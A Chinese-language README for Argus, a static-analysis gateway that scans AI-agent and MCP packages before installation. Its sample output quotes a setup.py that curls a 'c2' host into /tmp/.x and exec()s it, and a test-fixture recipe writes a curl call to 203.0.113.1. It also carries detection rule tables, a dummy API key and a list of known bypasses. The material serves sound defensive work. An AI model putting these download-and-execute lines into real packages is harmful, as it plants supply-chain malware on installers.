argusgate/argus

GitHub: argusgate/argus

Argus 是一款面向 AI agent 和 MCP 包安装的安全网关,通过安装前的源代码静态分析来拦截恶意 payload。

Stars: 1 | Forks: 0

# Argus **用于 AI agent 和 MCP 包安装的安全网关。** [![CI](https://img.shields.io/github/actions/workflow/status/argusgate/argus/ci.yml?branch=main&label=CI)](https://github.com/argusgate/argus/actions/workflows/ci.yml) [![最新发布](https://img.shields.io/github/v/release/argusgate/argus)](https://github.com/argusgate/argus/releases/latest) [![Go 版本](https://img.shields.io/github/go-mod/go-version/argusgate/argus)](go.mod) [![许可证](https://img.shields.io/github/license/argusgate/argus)](LICENSE) Argus 会在包安装之前对其进行拦截,并对其源代码执行静态分析,从而捕获那些绕过 manifest 级别检查的恶意 payload。如果存在严重级别的发现,安装将被阻止,并提示用户确认或中止。 ## 快速开始 ``` # 安装 brew tap argusgate/tap && brew install argus # 安装前扫描 argus scan ./my-package && pip install ./my-package argus scan package.tar.gz && npm install ``` ## 目录 - [问题所在](#the-problem) - [核心功能](#key-features) - [安装](#installation) - [GitHub Actions](#github-actions) - [用法](#usage) - [Agent 集成](#agent-integration) - [规则覆盖范围](#rule-coverage) - [架构](#architecture) - [开发](#development) - [已知限制](#known-limitations-v2-roadmap) - [贡献](#contributing) - [许可证](#licence) ## 问题所在 现代 AI agent 和 MCP 生态系统鼓励通过单条命令从互联网安装包。Manifest 检查(校验和、签名)验证的是*真实性*——它们无法告诉你代码实际上做了什么。攻击者可以发布一个看似合法的包,在安装时窃取凭证、开启反向 shell 或执行远程 payload。Argus 填补了这一空白。 ## 核心功能 - **Go AST 分析** — 精确检测对危险 Go API 的调用点,避免字符串匹配产生的误报;import 别名将被解析为完整的包路径 - **正则表达式 + 熵扫描** — 扫描 Python、JavaScript、TypeScript、Ruby、Rust 和 shell 脚本,检测危险模式、硬编码的密钥以及高熵字符串 - **两个严重性级别** — `CRITICAL` 会阻止安装并弹出提示;`WARNING` 会被记录但不会阻止操作 - **嵌套归档扫描** — 自动解压并扫描包内嵌入的 `.tar.gz` 和 `.zip` 文件(最多深入 2 层) - **Agent 安装拦截** — 可选的 `argus shell`、PATH shims 以及 Claude Code hook 支持,可保护 agent 直接运行的常见包管理器命令 - **Zip-slip 防护** — 归档提取时会拒绝路径遍历尝试 - **提取大小上限** — 归档提取时每个文件 100 MiB 的上限,可防范 zip-bomb payload;在 SAST 扫描期间会跳过大于 1 MiB 的源文件 - **CI 安全** — 非交互式会话会自动拒绝严重级别的发现并以退出码 1 退出;在 pipeline 中不会进行静默安装 - **零外部依赖** — 仅使用标准库 ## 安装 ### Homebrew(macOS 推荐) ``` brew tap argusgate/tap brew install argus ``` ### 预编译二进制文件 从[发布页面](https://github.com/argusgate/argus/releases)下载适用于您平台的二进制文件,并将其放置在您的 `PATH` 中: ``` # macOS (Apple Silicon) curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-darwin-arm64 chmod +x argus && sudo mv argus /usr/local/bin/ # macOS (Intel) curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-darwin-amd64 chmod +x argus && sudo mv argus /usr/local/bin/ # Linux (x86_64) curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-linux-amd64 chmod +x argus && sudo mv argus /usr/local/bin/ ``` ### 从源码构建 需要 Go 1.22 或更高版本。 ``` git clone https://github.com/argusgate/argus.git cd argus go build -o argus ./cmd/argus/ sudo mv argus /usr/local/bin/ ``` ### go install ``` go install github.com/argusgate/argus/cmd/argus@latest ``` ## GitHub Actions 将 Argus 添加到任何工作流中,以便在安装前扫描包: ``` - name: Scan package with Argus uses: argusgate/argus@v0.1.0 with: path: ./my-package ``` 严重级别的发现会导致工作流失败(退出码 1)。警告会被记录但不会阻止操作。 ## 用法 ``` argus scan ``` `` 可以是: | 格式 | 示例 | |--------|---------| | 本地目录 | `argus scan ./my-package` | | `.tar.gz` 归档 | `argus scan package-1.2.3.tar.gz` | | `.zip` 归档 | `argus scan package-1.2.3.zip` | | Python wheel (`.whl`) | `argus scan package-1.2.3-py3-none-any.whl` | | Rust crate (`.crate`) | `argus scan package-1.2.3.crate` | | Ruby gem (`.gem`) | `argus scan package-1.2.3.gem` | 扫描无误时 Argus 以退出码 0 退出,存在严重级别的发现时则以 1 退出。这使得它可以与任何包管理器组合使用: ``` argus scan ./my-package && pip install ./my-package argus scan package.tar.gz && npm install ``` ### 抑制发现结果 默认情况下,包本地的抑制规则不受信任。被扫描的包可以包含 `.argusignore` 或内联的 `argus-ignore` 注释,但 Argus 会将包源码视为不受信任,不允许包自行抑制其发现的违规行为。 未来计划引入用户控制的策略文件,以支持受信任的本地抑制和组织级别的允许列表。 ## Agent 集成 手动执行 `argus scan` 仍然是核心的基础操作,但 agent 通常会直接运行包管理器。Argus 为这些工作流添加了三个低摩擦的层级: ``` # 临时受保护会话 argus shell npm install lodash pip install requests # 持久化 PATH shims argus shim install # Claude Code Bash hook argus hook install claude # 验证设置 argus doctor ``` shims 会拦截常见的安装命令(如 `pip install`、`uv add`、`npm install`、`pnpm add`、`yarn add`、`cargo add`、`go install` 和 `gem install`),扫描本地路径或解析后的包归档,如果扫描无误则交由真实的包管理器执行。 PATH shims 提供的是默认路径保护,而非沙箱。绝对二进制路径、`python -m pip`、`curl | sh`、直接的 `git clone && make install` 以及刻意的 `PATH` 重置都可能绕过本地拦截。请保持 CI 扫描开启,作为备用的强制执行点。 ### 示例 — 无害的包 ``` argus: running SAST scan on ./my-package $ ``` ### 示例 — 严重发现 ``` argus: running SAST scan on suspicious-mcp-server.tar.gz ARGUS SAST — 3 critical finding(s) in suspicious-mcp-server.tar.gz CRITICAL setup.py:7 subprocess usage > subprocess.Popen(["curl", c2, "-o", "/tmp/.x"], shell=False) CRITICAL setup.py:8 exec() usage > exec(open("/tmp/.x").read()) CRITICAL src/utils.py:4 OpenAI API key > SECRET_KEY = "sk-aBcDeFgHiJkLmNoPqRsTuVwXyZ123456789" WARNING setup.py:6 raw IP address WARNING src/utils.py:11 SSL certificate verification disabled Scan anyway? [y/N]: ``` 输入 `y` 可覆盖,或按 Enter 键中止。在非交互式环境(CI/CD pipeline)中,将跳过提示并以退出码 1 终止进程。 ## 规则覆盖范围 ### Go(基于 AST) | 规则 | 匹配的调用 | 严重性 | |------|--------------|----------| | exec.Command 使用 | `exec.Command`、`exec.CommandContext` | CRITICAL | | os.StartProcess 使用 | `os.StartProcess` | CRITICAL | | syscall.Exec 使用 | `syscall.Exec`、`syscall.ForkExec` | CRITICAL | | plugin.Open 使用 | `plugin.Open` | CRITICAL | | unsafe 包使用 | 对 `unsafe` 包的任何选择器调用 | CRITICAL | | net.Dial 使用 | `net.Dial`、`net.DialContext`、`net.DialTCP`、`net.DialUDP` | WARNING | | http 出站请求 | `http.Get`、`http.Post`、`http.PostForm`、`http.Head` | WARNING | Import 别名会被解析为其完整的 import 路径,因此 `import ex "os/exec"; ex.Command(...)` 的捕获方式与 `exec.Command(...)` 完全相同。 ### Python | 规则 | 模式 | 严重性 | |------|---------|----------| | eval() 使用 | `eval(` | CRITICAL | | exec() 使用 | `exec(` | CRITICAL | | os.system() 使用 | `os.system(` | CRITICAL | | subprocess 使用 | `subprocess.call/run/Popen(` | CRITICAL | | pty.spawn() 使用 | `pty.spawn(` | CRITICAL | | pickle 反序列化 | `pickle.loads(`、`pickle.load(` | CRITICAL | | 不安全的 yaml.load() | 未使用 `SafeLoader` 的 `yaml.load(` | CRITICAL | | 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL | | AWS 访问密钥 | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | getattr 间接调用 | `getattr(os/subprocess/sys/__builtins__, ...)` | CRITICAL | | 带拼接属性的 getattr | `getattr(x, "ev"+"al")` | WARNING | | 十六进制/unicode 转义混淆 | 4 个或更多连续的 `\xNN` 转义 | CRITICAL | | 动态 import | `importlib.import_module(` | WARNING | | 禁用 SSL 验证 | `verify=False` | WARNING | | 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING | ### Ruby (`.rb`, `.rake`, `.gemspec`) | 规则 | 模式 | 严重性 | |------|---------|----------| | eval() 使用 | `eval(` | CRITICAL | | exec() 使用 | `exec(` | CRITICAL | | system() 使用 | `system(` | CRITICAL | | spawn() 使用 | `spawn(` | CRITICAL | | IO.popen 使用 | `IO.popen(` | CRITICAL | | Open3 使用 | `Open3.popen*/capture*/pipeline` | CRITICAL | | Marshal 反序列化 | `Marshal.load(`、`Marshal.restore(` | CRITICAL | | 不安全的 YAML.load() | 未使用 `safe_load`/`permitted_classes` 的 `YAML.load(` | CRITICAL | | 反引号 shell 执行 | `` `cmd` `` | CRITICAL | | 通过 %x 执行 shell | `%x{cmd}` 及其变体 | CRITICAL | | 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL | | AWS 访问密钥 | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | open() 管道 | `open("\| cmd")` | WARNING | | 通过 send() 的动态分发 | `send(` | WARNING | | 禁用 SSL 证书验证 | `VERIFY_NONE` | WARNING | | 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING | ### Rust (`.rs`) | 规则 | 模式 | 严重性 | |------|---------|----------| | unsafe 块 | `unsafe {` | CRITICAL | | process::Command 使用 | `Command::new(` | CRITICAL | | 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL | | AWS 访问密钥 | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | 存在 build.rs | 任何 `build.rs` 文件(Cargo 编译时执行) | WARNING | | FFI extern 块 | `extern "C" {` | WARNING | | 文件嵌入宏 | `include_bytes!(`、`include_str!(` | WARNING | | 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING | `build.rs` 会被无条件标记——Cargo 会在安装完成之前的编译时执行它,这使得它成为一个编译时代码执行向量(无论其内容如何)。 ### JavaScript / TypeScript | 规则 | 模式 | 严重性 | |------|---------|----------| | eval() 使用 | `eval(` | CRITICAL | | exec() 使用 | `exec(` | CRITICAL | | child_process 使用 | `require('child_process')` | CRITICAL | | new Function() 使用 | `new Function(` | CRITICAL | | vm.runInNewContext() 使用 | `vm.runInNewContext(` | CRITICAL | | 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL | | AWS 访问密钥 | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | 禁用 SSL 验证 | `verify=false` | WARNING | | 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING | ### Shell (`.sh`, `.bash`) | 规则 | 模式 | 严重性 | |------|---------|----------| | eval 使用 | `eval ` | CRITICAL | | exec 使用 | `exec ` | CRITICAL | | 硬编码密钥 | `password/secret/api_key/token=...` | CRITICAL | | 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING | ### 所有语言 | 规则 | 检测方式 | 严重性 | |------|-----------|----------| | 高熵字符串 | 对长度 32 个字符及以上的赋值字符串字面量(`x = "..."`)计算 Shannon 熵 ≥ 4.8;排除纯十六进制字符串(如 SHA、UUID) | WARNING | 私有和环回 IP 范围(RFC 1918、`127.x`、`10.x`、`192.168`、`172.16–31.x`)会被排除在原始 IP 规则之外。 ## 架构 ``` argus scan │ ├── 1. prepareWorkDir — extract archive to temp dir, or use directory as-is │ ├── expandNestedArchives — recursively unpacks .tar.gz/.zip (max 2 levels) │ └── sanitisePath — rejects zip-slip path traversal attempts │ ├── 2. scanner.Scan(dir) │ │ │ └── fs.WalkDir — for each recognised source file: │ ├── .go → GoASTScanner │ │ ├── go/parser → AST walk │ │ └── on parse failure → RegexScanner fallback │ ├── .py → RegexScanner (pyRules) │ ├── .js / .ts / .mjs → RegexScanner (jsRules) │ ├── .rb / .rake / .gemspec → RegexScanner (rubyRules) │ ├── .rs → RustScanner (rustRules + build.rs flag) │ └── .sh / .bash → RegexScanner (shellRules) │ └── + high-entropy assignment pass on every file │ ├── 3. printReport — CRITICAL findings to stderr with snippets │ ├── 4. confirm (if HasCritical) │ ├── TTY → prompt user [y/N] │ └── non-TTY → auto-decline, exit 1 │ └── 5. Exit 0 (clean) / Exit 1 (blocked) caller is responsible for invoking the package manager ``` ### 项目结构 ``` argus/ ├── cmd/ │ └── argus/ │ ├── scan.go — CLI entry point, archive extraction, scan flow │ └── scan_test.go — integration tests ├── pkg/ │ └── scanner/ │ ├── sast.go — Scanner interface, GoASTScanner, RegexScanner, Scan() │ └── sast_test.go — unit tests for all rules and edge cases ├── go.mod ├── LICENSE └── README.md ``` ### 核心类型 ``` type Severity string const ( Critical Severity = "CRITICAL" Warning Severity = "WARNING" ) type Finding struct { File string // path relative to scanned package root Line int // 1-based line number Rule string // human-readable rule name Snippet string // offending source line, trimmed Severity Severity } type Report struct { PackageDir string Findings []Finding HasCritical bool } type Scanner interface { Scan(path string, content []byte) ([]Finding, error) } ``` ## 开发 ### 前置条件 - Go 1.22 或更高版本 ### 构建 ``` go build -o argus ./cmd/argus/ ``` ### 运行测试 ``` go test ./... ``` ### 为所有平台交叉编译 ``` GOOS=darwin GOARCH=arm64 go build -o dist/argus-darwin-arm64 ./cmd/argus/ GOOS=darwin GOARCH=amd64 go build -o dist/argus-darwin-amd64 ./cmd/argus/ GOOS=linux GOARCH=amd64 go build -o dist/argus-linux-amd64 ./cmd/argus/ GOOS=linux GOARCH=arm64 go build -o dist/argus-linux-arm64 ./cmd/argus/ GOOS=windows GOARCH=amd64 go build -o dist/argus-windows-amd64.exe ./cmd/argus/ ``` ### 使用真实包进行测试 ``` # 正常流程 — 扫描一个大型、干净的 Python 项目 git clone https://github.com/pallets/flask /tmp/flask-test ./argus scan /tmp/flask-test # 恶意测试固件 — 模拟真实的供应链攻击模式 mkdir -p /tmp/mal-pkg/src echo 'import subprocess; subprocess.Popen(["curl","203.0.113.1"])' > /tmp/mal-pkg/setup.py echo 'import pickle; pickle.loads(data)' > /tmp/mal-pkg/src/utils.py ./argus scan /tmp/mal-pkg ``` ## 已知限制(V2 路线图) 当前的规则集无法捕获以下规避技术。在此记录是为了明确说明覆盖范围的边界: | 技术 | 示例 | |-----------|---------| | 跨变量拆分密钥 | `k1="sk-abc"; k2="xyz"` | | 作为位置参数的高熵密钥 | `connect("sk-realkey...")` — 熵检测仅在赋值(`x = "..."`)时触发 | 要可靠地检测到此类技术,需要引入污点流分析(taint-flow analysis)。 ## 许可证 Copyright (C) 2026 Argus 本程序为自由软件:您可以将其重新分发和/或修改,但必须遵循自由软件基金会发布的 GNU Affero 通用公共许可证(GNU Affero General Public Licence)条款,即该许可证的第 3 版,或(由您自行选择)任何更高版本。 对于商业用途——包括将 Argus 嵌入专有产品或将其作为托管服务提供——需要获得商业许可证。请在当前仓库中提一个 issue 或发起讨论。
标签:AI代理, Cutter, EVTX分析, Go, IP 地址批量处理, LNA, Ruby工具, 云安全监控, 包管理, 可视化界面, 域名收集, 安全专业人员, 安全网关, 数据可视化, 日志审计, 逆向工具, 静态分析